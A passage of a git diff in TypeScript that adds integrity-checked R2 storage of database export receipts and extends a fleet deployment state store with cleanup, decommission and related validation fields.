+      location: `r2://${this.#bucketName}/${prepared.key}`,
+      size: prepared.contentLength,
+      sha256,
+    };
+  }
+
+  async #writeReceipt(inputValue: unknown, authority: string) {
+    const body = readReceiptInputField(
+      inputValue,
+      'body',
+      'integrity-malformed',
+    );
+    let cancellationAttempted = false;
+    const cancel = (reason: unknown) => {
+      if (cancellationAttempted) return;
+      cancellationAttempted = true;
+      cancelBodyWithoutAwait(body, reason);
+    };
+
+    let expected: Promise<DatabaseExportIntegrity>;
+    try {
+      const expectedValue = readReceiptInputField(
+        inputValue,
+        'expectedIntegrity',
+        'integrity-malformed',
+      );
+      expected = captureDatabaseExportIntegrityPromise(expectedValue);
+    } catch (error) {
+      cancel(error);
+      throw error;
+    }
+
+    try {
+      const prepared = this.#prepareReceipt(inputValue, authority, body);
+      const preflight = await this.#lookupReceipt(
+        prepared.key,
+        prepared.identity,
+      );
+      if (preflight.status === 'present') {
+        cancel(databaseExportReceiptError('collision'));
+        return await this.#selectExistingReceipt(
+          preflight.object,
+          prepared,
+          expected,
+        );
+      }
+
+      let fixed: {
+        readonly readable: WorkerReadableStream<Uint8Array>;
+        readonly writable: WorkerWritableStream<Uint8Array>;
+      };
+      try {
+        const stream = new this.#FixedLengthStream(prepared.contentLength);
+        fixed = { readable: stream.readable, writable: stream.writable };
+      } catch (error) {
+        cancel(error);
+        throw error;
+      }
+
+      const controller = new AbortController();
+      const putStart = await settled(() => ({
+        operation: this.#bucket.put(prepared.key, fixed.readable, {
+          onlyIf: { etagDoesNotMatch: '*' },
+          customMetadata: prepared.metadata,
+        }),
+      }));
+      if (putStart.status === 'rejected') {
+        cancel(putStart.reason);
+        abortWritableWithoutAwait(fixed.writable, putStart.reason);
+        const expectedState = await settled(() => expected);
+        return this.#recoverRejectedReceiptPut(
+          prepared,
+          expectedState,
+          putStart.reason,
+        );
+      }
+
+      const put = funnel(() => putStart.value.operation);
+      void put.then(
+        (object) => {
+          if (object === null) {
+            controller.abort(databaseExportReceiptError('collision'));
+          }
+        },
+        (reason: unknown) => controller.abort(reason),
+      );
+      const pipe = funnel(() =>
+        (body as ReadableStream<Uint8Array>).pipeTo(
+          fixed.writable as WritableStream<Uint8Array>,
+          { signal: controller.signal },
+        ),
+      );
+      void pipe.catch((reason: unknown) => {
+        abortWritableWithoutAwait(fixed.writable, reason);
+      });
+      const [putState, pipeState, expectedState] = await Promise.allSettled([
+        put,
+        pipe,
+        expected,
+      ]);
+      if (expectedState.status === 'rejected') throw expectedState.reason;
+      if (expectedState.value.size !== prepared.contentLength) {
+        throw databaseExportReceiptError('source-mismatch');
+      }
+      if (putState.status === 'rejected') {
+        return await this.#recoverRejectedReceiptPut(
+          prepared,
+          expectedState,
+          putState.reason,
+        );
+      }
+      if (putState.value === null) {
+        return await this.#recoverConditionalCollision(
+          prepared,
+          expectedState.value,
+        );
+      }
+      if (pipeState.status === 'rejected') {
+        throw new Error('R2 export body did not stream completely', {
+          cause: pipeState.reason,
+        });
+      }
+      if (!hasExactReceiptMetadata(putState.value, prepared.metadata)) {
+        throw databaseExportReceiptError('readback');
+      }
+      if (readR2ObjectSize(putState.value) !== prepared.contentLength) {
+        throw databaseExportReceiptError('readback');
+      }
+
+      const committed = await this.#lookupReceipt(
+        prepared.key,
+        prepared.identity,
+      );
+      if (committed.status === 'absent') {
+        throw databaseExportReceiptError('readback');
+      }
+      const receipt = await this.#hashReceiptObject(
+        committed.object,
+        prepared.location,
+      );
+      if (!sameIntegrity(receipt, expectedState.value)) {
+        throw databaseExportReceiptError('source-mismatch');
+      }
+      return receipt;
+    } catch (error) {
+      cancel(error);
+      throw error;
+    }
+  }
+
+  #prepareReceipt(
+    inputValue: unknown,
+    authority: string,
+    body: unknown,
+  ): PreparedReceiptUpload {
+    const identity = databaseExportReceiptIdentityFromUnknown(
+      readReceiptInputField(inputValue, 'identity', 'identity-malformed'),
+      authority,
+    );
+    const contentLength = readReceiptInputField(
+      inputValue,
+      'contentLength',
+      'integrity-malformed',
+    );
+    if (
+      typeof contentLength !== 'number' ||
+      !Number.isSafeInteger(contentLength) ||
+      contentLength < 1
+    ) {
+      throw new Error(
+        'database export receipt contentLength must be a positive safe integer',
+      );
+    }
+    let locked: unknown;
+    try {
+      if (
+        (typeof body !== 'object' || body === null) &&
+        typeof body !== 'function'
+      ) {
+        throw new Error('database export receipt body is malformed');
+      }
+      locked = Reflect.get(body, 'locked');
+    } catch {
+      throw new Error('database export receipt body is malformed');
+    }
+    if (locked !== false) {
+      throw new Error('database export receipt body is locked or malformed');
+    }
+    const key = `${this.#keyPrefix}receipts/v1/${identity.databaseId}/${identity.operationId}.sql`;
+    if (utf8Length(key) > 1_024) {
+      throw databaseExportReceiptError('key-too-long');
+    }
+    return {
+      identity,
+      key,
+      location: `r2://${this.#bucketName}/${key}`,
+      contentLength,
+      metadata: receiptMetadata(identity),
+    };
+  }
+
+  async #lookupReceipt(
+    key: string,
+    identity: DatabaseExportReceiptIdentity,
+  ): Promise<ReceiptLookup> {
+    const state = await settled(() => this.#bucket.get(key));
+    if (state.status === 'rejected') {
+      throw databaseExportReceiptError('readback');
+    }
+    if (state.value === null) return { status: 'absent' };
+    if (!hasExactReceiptMetadata(state.value, receiptMetadata(identity))) {
+      throw databaseExportReceiptError('collision');
+    }
+    return { status: 'present', object: state.value };
+  }
+
+  async #selectExistingReceipt(
+    object: R2ObjectBody,
+    prepared: PreparedReceiptUpload,
+    expected: Promise<DatabaseExportIntegrity>,
+  ) {
+    const [readbackState, expectedState] = await Promise.allSettled([
+      this.#hashReceiptObject(object, prepared.location),
+      expected,
+    ]);
+    if (expectedState.status === 'rejected') throw expectedState.reason;
+    if (readbackState.status === 'rejected') throw readbackState.reason;
+    if (expectedState.value.size !== prepared.contentLength) {
+      throw databaseExportReceiptError('source-mismatch');
+    }
+    if (!sameIntegrity(readbackState.value, expectedState.value)) {
+      throw databaseExportReceiptError('collision');
+    }
+    return readbackState.value;
+  }
+
+  async #recoverRejectedReceiptPut(
+    prepared: PreparedReceiptUpload,
+    expectedState: PromiseSettledResult<DatabaseExportIntegrity>,
+    reason: unknown,
+  ) {
+    if (expectedState.status === 'rejected') throw expectedState.reason;
+    if (expectedState.value.size !== prepared.contentLength) {
+      throw databaseExportReceiptError('source-mismatch');
+    }
+    const winner = await this.#lookupReceipt(prepared.key, prepared.identity);
+    if (winner.status === 'absent') {
+      throw new Error('R2 export upload failed', { cause: reason });
+    }
+    const receipt = await this.#hashReceiptObject(
+      winner.object,
+      prepared.location,
+    );
+    if (!sameIntegrity(receipt, expectedState.value)) {
+      throw databaseExportReceiptError('collision');
+    }
+    return receipt;
+  }
+
+  async #recoverConditionalCollision(
+    prepared: PreparedReceiptUpload,
+    expected: DatabaseExportIntegrity,
+  ) {
+    const winner = await this.#lookupReceipt(prepared.key, prepared.identity);
+    if (winner.status === 'absent') {
+      throw databaseExportReceiptError('collision');
+    }
+    const receipt = await this.#hashReceiptObject(
+      winner.object,
+      prepared.location,
+    );
+    if (!sameIntegrity(receipt, expected)) {
+      throw databaseExportReceiptError('collision');
+    }
+    return receipt;
+  }
+
+  async #hashReceiptObject(object: R2ObjectBody, location: string) {
+    let reportedSize: number;
+    let digest: InstanceType<DigestStreamConstructor>;
+    let readback: WorkerReadableStream<Uint8Array>;
+    let digestPromise: Promise<ArrayBuffer>;
+    try {
+      reportedSize = readR2ObjectSize(object);
+      digest = new this.#DigestStream('SHA-256');
+      readback = object.body;
+      digestPromise = digest.digest;
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    const digestStatePromise = settled(() => digestPromise);
+    const readState = await settled(() => readback.pipeTo(digest));
+    if (readState.status === 'rejected') {
+      abortWritableWithoutAwait(digest, readState.reason);
+      throw databaseExportReceiptError('readback');
+    }
+    const digestState = await digestStatePromise;
+    if (digestState.status === 'rejected') {
+      throw databaseExportReceiptError('readback');
+    }
+    try {
+      const bytesWritten = Number(digest.bytesWritten);
+      if (
+        !Number.isSafeInteger(bytesWritten) ||
+        bytesWritten !== reportedSize
+      ) {
+        throw databaseExportReceiptError('readback');
+      }
+      return {
+        location,
+        size: reportedSize,
+        sha256: toHex(digestState.value),
+      };
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+  }
+
+  #prepare(input: {
+    readonly databaseId: string;
+    readonly fileName: string;
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+  }): PreparedUpload {
+    if (input.body.locked) throw new Error('R2 export body is locked');
+    assertFileName(input.fileName);
+    if (!isPortablePathSegment(input.databaseId)) {
+      throw new Error('R2 export databaseId must be one portable path segment');
+    }
+    if (input.contentLength === undefined) {
+      throw new Error('R2 export requires a known contentLength');
+    }
+    if (input.contentLength === 0) {
+      throw new Error('R2 export refuses an empty body');
+    }
+    if (!Number.isSafeInteger(input.contentLength) || input.contentLength < 1) {
+      throw new Error(
+        'R2 export contentLength must be a positive safe integer',
+      );
+    }
+    const uuid = this.#randomUUID();
+    if (!isPortablePathSegment(uuid)) {
+      throw new Error(
+        'R2 export key component must be one portable path segment',
+      );
+    }
+    const key = `${this.#keyPrefix}${input.databaseId}/${uuid}-${input.fileName}`;
+    const fixed = new this.#FixedLengthStream(input.contentLength);
+    return {
+      key,
+      contentLength: input.contentLength,
+      fixed: {
+        readable: fixed.readable,
+        writable: fixed.writable,
+      },
+    };
+  }
+
+  async #ownedValue<T>(
+    key: string,
+    message: 'R2 export upload failed' | 'R2 export readback failed',
+    operation: () => T | PromiseLike<T>,
+  ): Promise<Awaited<T>> {
+    const state = await settled(operation);
+    if (state.status === 'rejected') {
+      return this.#failOwned(key, new Error(message, { cause: state.reason }));
+    }
+    return state.value;
+  }
+
+  async #failOwned(key: string, error: unknown): Promise<never> {
+    const cleanupState = await settled(() => this.#bucket.delete(key));
+    if (cleanupState.status === 'rejected') {
+      throw new AggregateError(
+        [error, cleanupState.reason],
+        'database export and R2 cleanup failed',
+      );
+    }
+    throw error;
+  }
+}
+
+function readReceiptInputField(
+  input: unknown,
+  field: 'body' | 'contentLength' | 'expectedIntegrity' | 'identity',
+  errorKind: 'identity-malformed' | 'integrity-malformed',
+): unknown {
+  try {
+    if (
+      (typeof input !== 'object' || input === null) &&
+      typeof input !== 'function'
+    ) {
+      throw databaseExportReceiptError(errorKind);
+    }
+    return Reflect.get(input, field);
+  } catch {
+    throw databaseExportReceiptError(errorKind);
+  }
+}
+
+function receiptMetadata(
+  identity: DatabaseExportReceiptIdentity,
+): ReceiptMetadata {
+  return Object.freeze({
+    anchorageReceiptVersion: '1',
+    anchorageReceiptAuthority: identity.authority,
+    anchorageDatabaseId: identity.databaseId,
+    anchorageOperationId: identity.operationId,
+  });
+}
+
+function hasExactReceiptMetadata(
+  object: R2Object,
+  expected: ReceiptMetadata,
+): boolean {
+  try {
+    const value = Reflect.get(object, 'customMetadata');
+    if (typeof value !== 'object' || value === null || Array.isArray(value)) {
+      return false;
+    }
+    const prototype = Object.getPrototypeOf(value);
+    if (prototype !== Object.prototype && prototype !== null) return false;
+    const descriptors = Object.getOwnPropertyDescriptors(value);
+    const keys = Reflect.ownKeys(descriptors);
+    if (
+      keys.length !== RECEIPT_METADATA_KEYS.length ||
+      keys.some(
+        (key) =>
+          typeof key !== 'string' ||
+          !RECEIPT_METADATA_KEYS.includes(
+            key as (typeof RECEIPT_METADATA_KEYS)[number],
+          ),
+      )
+    ) {
+      return false;
+    }
+    return RECEIPT_METADATA_KEYS.every((key) => {
+      const descriptor = descriptors[key];
+      return (
+        descriptor !== undefined &&
+        'value' in descriptor &&
+        descriptor.enumerable === true &&
+        typeof descriptor.value === 'string' &&
+        descriptor.value === expected[key]
+      );
+    });
+  } catch {
+    return false;
+  }
+}
+
+function readR2ObjectSize(object: R2Object): number {
+  let size: unknown;
+  try {
+    size = Reflect.get(object, 'size');
+  } catch {
+    throw databaseExportReceiptError('readback');
+  }
+  if (typeof size !== 'number' || !Number.isSafeInteger(size) || size < 1) {
+    throw databaseExportReceiptError('readback');
+  }
+  return size;
+}
+
+function sameIntegrity(
+  left: DatabaseExportIntegrity,
+  right: DatabaseExportIntegrity,
+): boolean {
+  return left.size === right.size && left.sha256 === right.sha256;
+}
+
+function abortWritableWithoutAwait(
+  writable: { abort(reason?: unknown): Promise<void> },
+  reason: unknown,
+): void {
+  void settled(() => writable.abort(reason));
+}
+
+function utf8Length(value: string): number {
+  return Reflect.apply(TEXT_ENCODER_ENCODE, textEncoder, [value]).byteLength;
+}
+
+async function settled<T>(
+  operation: () => T | PromiseLike<T>,
+): Promise<PromiseSettledResult<Awaited<T>>> {
+  // Resolving through a promise makes a synchronous throw a rejection.
+  const [state] = await Promise.allSettled([funnel(operation)]);
+  return state;
+}
+
+async function funnel<T>(operation: () => T | PromiseLike<T>) {
+  return operation();
+}
+
+function isKeyPrefix(value: string | undefined): boolean {
+  if (value === undefined || value === '') return true;
+  if (!value.endsWith('/')) return false;
+  return value
+    .slice(0, -1)
+    .split('/')
+    .every((segment) => isPortablePathSegment(segment));
+}
+
+function toHex(value: ArrayBuffer): string {
+  return Array.from(new Uint8Array(value), (byte) =>
+    byte.toString(16).padStart(2, '0'),
+  ).join('');
+}
diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts
index 36f0a1fc..4ff2f36f 100644
--- a/packages/fleet-control/src/state-store.ts
+++ b/packages/fleet-control/src/state-store.ts
@@ -1,7 +1,26 @@
 // SPDX-License-Identifier: Apache-2.0
 
 import { createHash, randomUUID } from 'node:crypto';
-import { backendSwitchIntentFromUnknown } from './backend-switch.js';
+import {
+  BACKEND_SWITCH_RECORD_ERROR,
+  backendSwitchFleetRecordFromUnknown,
+  backendSwitchIntentFromUnknown,
+  structuralBackendSwitchFleetRecordFromUnknown,
+} from './backend-switch.js';
+import {
+  CLEANUP_INTENT_BYTE_BOUND,
+  canonicalCleanupEvidenceBytes,
+  cleanupAdvanceIntentFromUnknown,
+  cleanupReceiptEvidenceFromUnknown,
+  cleanupTerminalReceiptFromUnknown,
+  invocationAuthorityCarrierFromUnknown,
+  normalizeCleanupAdvanceIntent,
+} from './cleanup-intent.js';
+import {
+  DECOMMISSION_INTENT_BYTE_BOUND,
+  decommissionAdvanceIntentFromUnknown,
+  normalizeDecommissionAdvanceIntent,
+} from './decommission-intent.js';
 import { isDeploymentScriptName, isSha256 } from './deployment-context.js';
 import {
   assertPlatformResourcesMatchTarget,
@@ -16,6 +35,7 @@ import {
   externalReleaseTopologyFromUnknown,
 } from './release-topology.js';
 import type {
+  CleanupTerminalReceipt,
   DeploymentEgressPolicy,
   DurableObjectMigration,
   ExternalMigrationIntent,
@@ -32,7 +52,13 @@ import type {
   PlatformPlaneStateStore,
   ProvisioningPhase,
 } from './types.js';
-import { PROVISIONING_PHASES } from './types.js';
+import {
+  EXTERNAL_MIGRATION_SUBPHASES,
+  effectiveLifecyclePhase,
+  isPlatformCatalogRecord,
+  PROVISIONING_PHASES,
+  SETTLED_BACKEND_SWITCH_SUBPHASES,
+} from './types.js';
 import { deploymentKey } from './validation.js';
 
 export interface FleetStateDatabase {
@@ -108,6 +134,7 @@ const TABLE = 'anchorage_fleet_deployments';
 const LEASE_TABLE = 'anchorage_fleet_leases';
 const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims';
 const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases';
+const CLEANUP_RECEIPT_TABLE = 'anchorage_fleet_cleanup_receipts';
 const LEASE_TTL_MS = 15 * 60_000;
 const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000;
 const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)";
@@ -133,6 +160,9 @@ const FLEET_ROW_COLUMNS = [
   'platform_target',
   'migration_intent',
   'backend_switch_intent',
+  'decommission_intent',
+  'cleanup_intent',
+  'invocation_authority',
   'durable_object_tag',
   'durable_object_migration_history',
   'durable_object_migration_history_digest',
@@ -146,18 +176,16 @@ const FLEET_ROW_COLUMNS = [
   'database_export_size',
   'settled_settlement_key',
   'updated_at',
+  'wfp_mode',
 ] as const;
 
-/**
- * Nullable TEXT columns added to a table that already shipped, in the order
- * they were added. Each is created by ALTER on an existing database and by the
- * CREATE above on a new one, and each is asserted present afterwards: a column
- * that silently failed to appear would not fail a write, it would drop the
- * value on every write.
- */
 export const ADDED_NULLABLE_TEXT_COLUMNS = [
   'backend_switch_intent',
   'settled_settlement_key',
+  'decommission_intent',
+  'cleanup_intent',
+  'invocation_authority',
+  'wfp_mode',
 ] as const;
 
 function isDuplicateColumnError(
@@ -226,6 +254,7 @@ function rowNumber(
 function optionalReleaseSnapshot(
   value: unknown,
   key: string,
+  mutableScriptName?: string,
 ): ExternalReleaseSnapshot | undefined {
   if (value === null || value === undefined) return undefined;
   if (typeof value !== 'string') {
@@ -257,7 +286,16 @@ function optionalReleaseSnapshot(
     'application' in release ? release.application : undefined,
     `${key}.application`,
   );
-  if (release.artifactVersion !== 'pending' && !topology) {
+  const ownMutableArtifact =
+    mutableScriptName !== undefined &&
+    mutableScriptName.length > 0 &&
+    release.physicalScriptName === mutableScriptName &&
+    release.artifactVersion.length > 0;
+  if (
+    release.artifactVersion !== 'pending' &&
+    !topology &&
+    !ownMutableArtifact
+  ) {
     throw new Error(`fleet state row has invalid ${key}`);
   }
   if (
@@ -373,15 +411,6 @@ function optionalPlatformTarget(
   );
 }
 
-const EXTERNAL_MIGRATION_SUBPHASES = [
-  'planned',
-  'schema-applied',
-  'platform-applied',
-  'candidate-deployed',
-  'candidate-armed',
-  'route-published',
-] as const satisfies readonly ExternalMigrationSubphase[];
-
 function optionalMigrationIntent(
   value: unknown,
   tenantTag: string,
@@ -585,11 +614,256 @@ function optionalPlatformResources(
   };
 }
 
+function invalidDecommissionIntent(): Error {
+  return new Error('fleet state row has invalid decommission_intent');
+}
+
+function invalidCleanupIntent(): Error {
+  return new Error('fleet state row has invalid cleanup_intent');
+}
+
+function invalidInvocationAuthority(): Error {
+  return new Error('fleet state row has invalid invocation_authority');
+}
+
+function optionalDecommissionIntent(
+  value: unknown,
+  record: Omit<FleetRecord, 'decommissionIntent'>,
+): FleetRecord['decommissionIntent'] {
+  if (value === null || value === undefined) return undefined;
+  if (
+    typeof value !== 'string' ||
+    value.length > DECOMMISSION_INTENT_BYTE_BOUND
+  ) {
+    throw invalidDecommissionIntent();
+  }
+  let parsed: unknown;
+  try {
+    if (
+      new TextEncoder().encode(value).byteLength >
+      DECOMMISSION_INTENT_BYTE_BOUND
+    ) {
+      throw invalidDecommissionIntent();
+    }
+    parsed = JSON.parse(value) as unknown;
+    return decommissionAdvanceIntentFromUnknown(parsed, record);
+  } catch {
+    throw invalidDecommissionIntent();
+  }
+}
+
+function optionalCleanupIntent(
+  value: unknown,
+  record: Omit<FleetRecord, 'cleanupIntent'>,
+): FleetRecord['cleanupIntent'] {
+  if (value === null || value === undefined) return undefined;
+  if (typeof value !== 'string' || value.length > CLEANUP_INTENT_BYTE_BOUND) {
+    throw invalidCleanupIntent();
+  }
+  let parsed: unknown;
+  try {
+    if (
+      new TextEncoder().encode(value).byteLength > CLEANUP_INTENT_BYTE_BOUND
+    ) {
+      throw invalidCleanupIntent();
+    }
+    parsed = JSON.parse(value) as unknown;
+    return cleanupAdvanceIntentFromUnknown(parsed, record);
+  } catch {
+    throw invalidCleanupIntent();
+  }
+}
+
+function optionalInvocationAuthority(
+  value: unknown,
+): FleetRecord['invocationAuthority'] {
+  if (value === null || value === undefined) return undefined;
+  if (typeof value !== 'string') throw invalidInvocationAuthority();
+  try {
+    return invocationAuthorityCarrierFromUnknown(JSON.parse(value) as unknown);
+  } catch {
+    throw invalidInvocationAuthority();
+  }
+}
+
+/**
+ * Mirrors the cleanup-specific #putUnderLease invariant: an active cleanup
+ * owns the whole record, so no other durable intent may ride beside it.
+ * Phase pairing is enforced by effectiveLifecyclePhase.
+ */
+function assertCleanupIntentExclusive(record: FleetRecord): void {
+  if (!record.cleanupIntent) return;
+  if (record.decommissionIntent) {
+    throw new Error('cleanup intent cannot coexist with a decommission intent');
+  }
+  if (record.migrationIntent) {
+    throw new Error('cleanup intent cannot coexist with a migration intent');
+  }
+  // No switch-bearing record can legitimately carry a cleanup intent: cleanup
+  // admission is restricted to prepublication phases, and every record with a
+  // backend-switch intent — settled or not — lives at 'ready' or later.
+  if (record.backendSwitchIntent) {
+    throw new Error(
+      'cleanup intent cannot coexist with a backend switch intent',
+    );
+  }
+}
+
+function validateRecordCrossFields(record: FleetRecord): void {
+  const phase = effectiveLifecyclePhase(record);
+  assertCleanupIntentExclusive(record);
+  const catalog = isPlatformCatalogRecord(record);
+  if (
+    catalog &&
+    [
+      record.activeRelease,
+      record.pendingRelease,
+      record.migrationPriorRelease,
+      record.rollbackRelease,
+      record.retiringRelease,
+    ].some(
+      (release) => release && release.physicalScriptName !== record.scriptName,
+    )
+  )
+    throw new Error('fleet state row has a foreign catalog release');
+  if (
+    Object.hasOwn(record, 'wfpMode') &&
+    (!catalog ||
+      record.platformResources ||
+      record.platformTarget ||
+      record.migrationIntent ||
+      record.backendSwitchIntent)
+  )
+    throw new Error('fleet state row has inconsistent wfp_mode');
+  const {
+    activeRelease,
+    backend,
+    migrationIntent,
+    migrationPriorRelease,
+    outboundPolicy,
+    pendingArtifactVersion,
+    pendingRelease,
+    pendingSpecDigest,
+    platformResources,
+    platformTarget,
+    schemaVersion,
+  } = record;
+  // The retained target authorizes recovery of a state upload whose response is lost.
+  const legacyMigrationTeardown =
+    backend === 'workers-for-platforms' &&
+    record.wfpMode === undefined &&
+    record.cleanupIntent === undefined &&
+    record.decommissionIntent === undefined &&
+    record.backendSwitchIntent === undefined &&
+    record.desiredSpecDigest === migrationIntent?.targetSpecDigest &&
+    [
+      'decommissioning',
+      'traffic-removed',
+      'credentials-revoked',
+      'worker-deleted',
+      'platform-credentials-revoked',
+    ].includes(record.phase);
+  if (
+    (backend === 'workers-for-platforms' && !outboundPolicy) ||
+    (backend === 'plain-worker' && outboundPolicy) ||
+    (platformResources &&
+      (platformResources.outboundPolicy ?? platformResources.egressProxy)
+        ?.policyId !== outboundPolicy?.policyId) ||
+    (platformResources &&
+      JSON.stringify(
+        (platformResources.outboundPolicy ?? platformResources.egressProxy)
+          ?.policyHosts,
+      ) !== JSON.stringify(outboundPolicy?.policyHosts)) ||
+    (platformResources &&
+      (platformResources.outboundPolicy ?? platformResources.egressProxy)
+        ?.policyDigest !== outboundPolicy?.policyDigest)
+  ) {
+    throw new Error('fleet state row has inconsistent outbound_policy');
+  }
+  if (
+    (platformTarget &&
+      JSON.stringify(platformTarget.outboundPolicy) !==
+        JSON.stringify(outboundPolicy)) ||
+    (migrationIntent && phase !== 'migrating' && !legacyMigrationTeardown) ||
+    (migrationIntent &&
+      migrationIntent.targetSpecDigest !==
+        migrationIntent.targetRelease.specDigest) ||
+    (migrationIntent &&
+      migrationIntent.target.d1SchemaVersion !==
+        (migrationIntent.platformOnly === true
+          ? schemaVersion
+          : migrationIntent.targetRelease.releaseSchemaVersion)) ||
+    (migrationIntent &&
+      JSON.stringify(migrationIntent.priorRelease) !==
+        JSON.stringify(activeRelease)) ||
+    (migrationIntent?.platformOnly === true
+      ? JSON.stringify(migrationIntent.targetRelease) !==
+          JSON.stringify(activeRelease) ||
+        migrationPriorRelease !== undefined ||
+        pendingRelease !== undefined ||
+        ['candidate-deployed', 'candidate-armed'].includes(
+          migrationIntent.subphase,
+        )
+      : migrationIntent !== undefined &&
+        (JSON.stringify(migrationIntent.priorRelease) !==
+          JSON.stringify(migrationPriorRelease) ||
+          JSON.stringify(migrationIntent.targetRelease) !==
+            JSON.stringify(pendingRelease)))
+  ) {
+    throw new Error('fleet state row has inconsistent migration intent');
+  }
+  if (
+    ((backend === 'plain-worker' || catalog) &&
+      (platformTarget || migrationIntent)) ||
+    (backend === 'workers-for-platforms' &&
+      platformResources !== undefined &&
+      platformTarget === undefined) ||
+    (backend === 'workers-for-platforms' &&
+      !catalog &&
+      phase === 'migrating' &&
+      migrationIntent === undefined)
+  ) {
+    throw new Error('fleet state row has inconsistent platform target');
+  }
+  if (
+    pendingArtifactVersion !== undefined &&
+    ((backend !== 'plain-worker' && !catalog) ||
+      phase !== 'migrating' ||
+      typeof pendingSpecDigest !== 'string' ||
+      pendingArtifactVersion.length === 0 ||
+      pendingArtifactVersion === 'pending')
+  ) {
+    throw new Error('fleet state row has inconsistent pending artifact');
+  }
+  if (platformResources && platformTarget) {
+    assertPlatformResourcesMatchTarget(platformResources, platformTarget);
+  }
+  if (
+    migrationIntent &&
+    [
+      'platform-applied',
+      'candidate-deployed',
+      'candidate-armed',
+      'route-published',
+    ].includes(migrationIntent.subphase) &&
+    JSON.stringify(platformTarget) !== JSON.stringify(migrationIntent.target)
+  ) {
+    throw new Error('fleet state row has inconsistent migration target');
+  }
+}
+
 function toRecord(row: Readonly<Record<string, unknown>>): FleetRecord {
   const backend = rowString(row, 'backend');
   if (backend !== 'plain-worker' && backend !== 'workers-for-platforms') {
     throw new Error('fleet state row has invalid backend');
   }
+  const wfpMode = row.wfp_mode;
+  if (
+    wfpMode !== null &&
+    wfpMode !== undefined &&
+    wfpMode !== 'platform-catalog'
+  )
+    throw new Error('fleet state row has invalid wfp_mode');
   const phase = rowString(row, 'phase');
   if (!PROVISIONING_PHASES.includes(phase as ProvisioningPhase)) {
     throw new Error('fleet state row has invalid phase');
@@ -922,25 +1196,34 @@ function toRecord(row: Readonly<Record<string, unknown>>): FleetRecord {
   ) {
     throw new Error('fleet state row has invalid durable_object_bindings');
   }
+  const mutableScriptName =
+    backend === 'plain-worker' || wfpMode === 'platform-catalog'
+      ? rowString(row, 'script_name')
+      : undefined;
   const activeRelease = optionalReleaseSnapshot(
     row.active_release,
     'active_release',
+    mutableScriptName,
   );
   const pendingRelease = optionalReleaseSnapshot(
     row.pending_release,
     'pending_release',
+    mutableScriptName,
   );
   const migrationPriorRelease = optionalReleaseSnapshot(
     row.migration_prior_release,
     'migration_prior_release',
+    mutableScriptName,
   );
   const rollbackRelease = optionalReleaseSnapshot(
     row.rollback_release,
     'rollback_release',
+    mutableScriptName,
   );
   const retiringRelease = optionalReleaseSnapshot(
     row.retiring_release,
     'retiring_release',
+    mutableScriptName,
   );
   const tenantTag = rowString(row, 'tenant_tag');
   const environment = rowString(row, 'environment');
@@ -998,100 +1281,11 @@ function toRecord(row: Readonly<Record<string, unknown>>): FleetRecord {
   ) {
     throw new Error('fleet state row has invalid backend_switch_intent');
   }
-  if (
-    (backend === 'workers-for-platforms' && !outboundPolicy) ||
-    (backend === 'plain-worker' && outboundPolicy) ||
-    (platformResources &&
-      (platformResources.outboundPolicy ?? platformResources.egressProxy)
-        ?.policyId !== outboundPolicy?.policyId) ||
-    (platformResources &&
-      JSON.stringify(
-        (platformResources.outboundPolicy ?? platformResources.egressProxy)
-          ?.policyHosts,
-      ) !== JSON.stringify(outboundPolicy?.policyHosts)) ||
-    (platformResources &&
-      (platformResources.outboundPolicy ?? platformResources.egressProxy)
-        ?.policyDigest !== outboundPolicy?.policyDigest)
-  ) {
-    throw new Error('fleet state row has inconsistent outbound_policy');
-  }
-  if (
-    (platformTarget &&
-      JSON.stringify(platformTarget.outboundPolicy) !==
-        JSON.stringify(outboundPolicy)) ||
-    (migrationIntent && phase !== 'migrating') ||
-    (migrationIntent &&
-      migrationIntent.targetSpecDigest !==
-        migrationIntent.targetRelease.specDigest) ||
-    (migrationIntent &&
-      migrationIntent.target.d1SchemaVersion !==
-        (migrationIntent.platformOnly === true
-          ? schemaVersion
-          : migrationIntent.targetRelease.releaseSchemaVersion)) ||
-    (migrationIntent &&
-      JSON.stringify(migrationIntent.priorRelease) !==
-        JSON.stringify(activeRelease)) ||
-    (migrationIntent?.platformOnly === true
-      ? JSON.stringify(migrationIntent.targetRelease) !==
-          JSON.stringify(activeRelease) ||
-        migrationPriorRelease !== undefined ||
-        pendingRelease !== undefined ||
-        ['candidate-deployed', 'candidate-armed'].includes(
-          migrationIntent.subphase,
-        )
-      : migrationIntent !== undefined &&
-        (JSON.stringify(migrationIntent.priorRelease) !==
-          JSON.stringify(migrationPriorRelease) ||
-          JSON.stringify(migrationIntent.targetRelease) !==
-            JSON.stringify(pendingRelease)))
-  ) {
-    throw new Error('fleet state row has inconsistent migration intent');
-  }
-  if (
-    (backend === 'plain-worker' && (platformTarget || migrationIntent)) ||
-    (backend === 'workers-for-platforms' &&
-      platformResources !== undefined &&
-      platformTarget === undefined) ||
-    (backend === 'workers-for-platforms' &&
-      phase === 'migrating' &&
-      migrationIntent === undefined)
-  ) {
-    throw new Error('fleet state row has inconsistent platform target');
-  }
-  if (
-    row.pending_artifact_version !== undefined &&
-    row.pending_artifact_version !== null &&
-    (backend !== 'plain-worker' ||
-      phase !== 'migrating' ||
-      typeof row.pending_spec_digest !== 'string' ||
-      typeof row.pending_artifact_version !== 'string' ||
-      row.pending_artifact_version.length === 0 ||
-      row.pending_artifact_version === 'pending')
-  ) {
-    throw new Error('fleet state row has inconsistent pending artifact');
-  }
-  if (platformResources && platformTarget) {
-    assertPlatformResourcesMatchTarget(platformResources, platformTarget);
-  }
-  if (
-    migrationIntent &&
-    [
-      'platform-applied',
-      'candidate-deployed',
-      'candidate-armed',
-      'route-published',
-    ].includes(migrationIntent.subphase)
-  ) {
-    if (
-      JSON.stringify(platformTarget) !== JSON.stringify(migrationIntent.target)
-    ) {
-      throw new Error('fleet state row has inconsistent migration target');
-    }
-  }
-  return {
+  const provisional: Omit<FleetRecord, 'decommissionIntent'> = {
     tenantTag,
     environment,
     backend,
+    ...(wfpMode === 'platform-catalog' ? { wfpMode } : {}),
     scriptName: rowString(row, 'script_name'),
